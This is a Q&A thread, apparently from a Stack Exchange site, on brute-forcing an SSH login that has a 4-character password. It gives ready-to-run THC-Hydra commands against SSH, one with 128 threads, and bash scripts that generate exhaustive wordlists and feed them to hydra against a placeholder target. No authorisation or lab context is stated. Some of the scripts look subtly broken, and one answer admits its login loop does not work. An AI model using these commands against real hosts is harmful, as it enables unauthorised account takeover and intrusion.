Brute-force an SSH-login that has only a 4-letter password

Question

Suppose, you know that a certain computer is only protected by such a short password, then you could just try every possible combination easily.

How would a script look like, that tries to crack that password?

Something like

#!/bin/bash
wordlist=create_wordlist(); # external defined
for i in $(cat $wordlist); do
  echo ssh username@localhost pipe password $i here; 
done

(I know, this is not a good example but my bash skills are not that good yet)

Answer 1

hydra can generate the passwords for you. No need to generate them separately if you will be using brute force:

hydra -l user_name -V -x 4:4:aA1 ip_address ssh

-V means verbose, -x 4:4:aA1 means min is 4 letters, max is 4 letters. List of letters is a-z denoted by a, A-Z denoted by A, 0-9 denoted by 1. You can add other characters like %_-+/

You need to wrap apostrophes around the -x option if you add special characters like space, ^,&,* or ":

hydra -t 128 -l user_name -V -x '4:4:aA1"@#$!()=`~?><;:%^&*_-+/,.\ ' localhost ssh

Answer 2

Whilst you could use a generic scripting language like bash for this, you might get better results with a security tool focused on testing brute-force attacks like THC-Hydra from a speed perspective anyway.

Answer 3

so this is the conclusion:

nano /tmp/create_wordlist_case_sensitive.sh

---

#!/usr/bin/bash
letters="- . , _ "$(echo {0..9} {A..z})
run1=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run2=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run3=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run4=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )

echo '-'
for a in "${run1[@]}"
  do
  echo "$a"
  for b in "${run2[@]}"
    do
    echo "$a$b"
    for c in "${run3[@]}"
      do
      echo "$a$b$c"
        for d in "${run4[@]}"
        do
        echo "$a$b$c$d"
      done
    done
  done
done    

---

bash /tmp/create_wordlist_case_sensitive.sh >/tmp/word_list_long.txt

---

hydra -l john -P /tmp/word_list_long.txt attack_host ssh

Answer 4

here are two bash scripts to generate a list of all possible four letter combinations. the first gives only lowercase combinations (create_wordlist_case_insensitive.sh), while the second gives all combinations of upper and lowercase letters (create_wordlist_case_sensitive.sh).

$ cat create_wordlist_case_insensitive.sh
#!/usr/bin/bash

for a in {a..z}
 do
  for b in {a..z}
   do
    for c in {a..z}
     do
      for d in {a..z}
       do
        echo "$a$b$c$d"
       done
     done
   done
 done


$ cat create_wordlist_case_sensitive.sh
#!/usr/bin/bash

run1=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run2=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run3=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run4=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )

for a in "${run1[@]}"
 do
  for b in "${run2[@]}"
   do
    for c in "${run3[@]}"
     do
      for d in "${run4[@]}"
       do
        echo "$a$b$c$d"
       done
     done
   done
 done

use them to create your wordlist files like this:

$ create_wordlist_case_insensitive.sh >word_list_short.txt
$ create_wordlist_case_sensitive.sh >word_list_long.txt

then your script can loop through whichever file you need like this:

$ cat forceit.sh
#!/usr/bin/bash

while read line
 do
  echo "Trying: $line"
  echo ssh intaudftp@file --password "$line" ## NOT REAL CODE
 done < word_list_short.txt

except that this code won't really work, bc ssh doesn't accept a password as an argument.

you'd have to automate that segment of the code with expect, but i won't go into how to do that here. alternatively, i suppose you could use a different command that does accept a password as an argument, like telnet.